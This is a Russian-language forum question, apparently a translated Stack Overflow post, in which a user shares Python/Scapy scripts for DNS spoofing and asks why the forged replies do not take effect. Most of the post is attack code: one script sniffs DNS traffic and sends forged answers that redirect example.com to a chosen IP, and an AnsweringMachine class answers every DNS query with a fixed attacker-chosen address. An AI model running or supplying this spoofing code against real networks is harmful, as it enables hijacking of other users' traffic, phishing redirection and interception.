Зацикливание запросов в спуфинге днс со scapy - PullRequest
0 голосов
/ 26 октября 2018

Так что я использую онлайн-учебник для подмены DNS в моей системе. (Вы можете прочитать больше в предыдущем вопросе .)

Я использовал этот код для перенаправления специальных адресов на другой:

dns_server_ip = '46.165.233.150'
bpf_filt = 'udp port 53'


def dns_responder(local_ip):
    def forward_dns(orig_pkt):
        print('Forwarding:', orig_pkt[DNSQR].qname)
        response = sr1(IP(dst="192.168.43.1", src="192.168.43.64") / UDP(sport=orig_pkt[UDP].sport) / \
                       DNS(rd=1, id=orig_pkt[DNS].id, qd=DNSQR(qname=orig_pkt[DNSQR].qname)), verbose=0)
        #response.show()
        respPkt = IP(dst=orig_pkt[IP].src, src=orig_pkt[IP].dst) / UDP(dport=orig_pkt[UDP].sport) / DNS()
        respPkt[DNS] = response[DNS]
        send(respPkt, verbose=0)
        return 'Responding: {}'.format(respPkt.summary())

    def get_response(pkt):
        if DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0 and pkt[IP].src != local_ip:
            if 'example.com' in str(pkt['DNS Question Record'].qname):
                spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst) \
                          / UDP(dport=pkt[UDP].sport, sport=53) \
                          / DNS(id=pkt[DNS].id, qr=1, qd=DNSQR(qname=pkt[DNSQR].qname), \
                                an=DNSRR(rrname="example.com", rdata = local_ip))
                send(spfResp, verbose=0)
                return 'Spoofed DNS Response Sent'

            else:
                # make DNS query, capturing the answer and send the answer
                return forward_dns(pkt)

    return get_response


sniff(filter=bpf_filt, prn=dns_responder(dns_server_ip))

Проблема с этим кодом заключается в том, что когда он захватывает пакет с doamin, который не нужен и его необходимо пропустить, он работает бесконечно и никогда не останавливается и продолжает отправлять и получать пакеты из одних и тех же доменов. Между тем, когда я набираю URL, который я хочу подделать, это dns в браузере, как example.com, он не захватывает его. Если я прокомментирую строку:

return forward_dns(pkt)

В операторе else и написать что-то еще, он захватывает пакет и отправляет ответ, но все же я вижу в моем браузере тот же веб-сайт example.com, а не сайт с ip, который я дал сценарию. , Итак, все это работает в браузере? Потому что я использовал nslookup в команде windows и все еще получаю ip example.com в качестве ответа, а не тот, который я подделал.

Автоответчик

Теперь это обновленный код с автоответчиком, предположим, что мы хотим подделать каждый запрос DNS:

class DNS_am (AnsweringMachine):
    function_name = "dns_spoof"
    filter="udp port 53"

    def parse_options(self, joker="137.74.18.82", zone=None):
        if zone is None:
            zone = {}
        self.zone = zone
        self.joker = joker

    def is_request(self, req):
        return req.haslayer(DNS) and req.getlayer(DNS).qr==0

    def make_reply(self, req):
        ip = req.getlayer(IP)
        dns = req.getlayer(DNS)
        rdata = self.zone.get(dns.qd.qname, self.joker)
        resp = IP(dst=ip.src, src=ip.dst) \
        / UDP(dport=ip.sport, sport=53) \
        / DNS(id=dns.id, qr=1, qd=dns.qd,
              an=DNSRR(rrname=dns.qd.qname, rdata=rdata))

        return resp

DNS_am()()

Когда я запускаю этот скрипт, он успешно перехватывает все DNS-запросы и отправляет ложный ответ, но этот ответ не вступает в силу. Тем не менее основной ответ работает. В wireshark поддельный ответ помечается как переданный ответ.

...